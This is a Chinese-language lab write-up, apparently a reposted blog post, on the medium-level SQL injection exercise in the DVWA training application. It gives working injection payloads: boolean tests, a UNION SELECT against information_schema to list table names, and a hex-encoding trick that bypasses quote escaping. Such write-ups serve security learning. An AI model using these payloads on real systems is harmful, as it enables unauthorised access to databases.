dvwa-sql注入中级
由于页面上只能选择相应数字查询,因此需要抓包进行注入;首先通过语句判断是字符型还是数字型:
id=1 and 1=1--+
id=1 and 1=2--+
https://img2024.cnblogs.com/blog/3511214/202411/3511214-20241106224229050-168712838.png
https://img2024.cnblogs.com/blog/3511214/202411/3511214-20241106224334784-1203576356.png
如图,两次返回结果不同,因此这是一个数字型注入。
然后依照流程爆出当前表列数和回显位,爆出当前数据库名字(这一步就省略了);
接着,要利用information_schema数据库爆出当前数据库下表名,会发现报错;
id=-1 collate utf8_general_ci union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables where table_schema='dvwa'--+
https://img2024.cnblogs.com/blog/3511214/202411/3511214-20241106224353583-1782933662.png
错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''dvwa'--' at line 1
说明在‘dvwa’处的单引号’被进行了转义,于是可以将dvwa转换为十六进制进行绕过,转换结果是0x64767761;
注:为什么可以用十六进制进行绕过,十六进制常量会被视作一组字节,会根据当前数据库的字符集转化为对应字符,对应上table_schema字段的格式。
id=-1 collate utf8_general_ci union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables where table_schema=0x64767761--+
https://img2024.cnblogs.com/blog/3511214/202411/3511214-20241106224413626-1668838162.png
乐成报出表名,剩下的按部就班的爆出即可。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]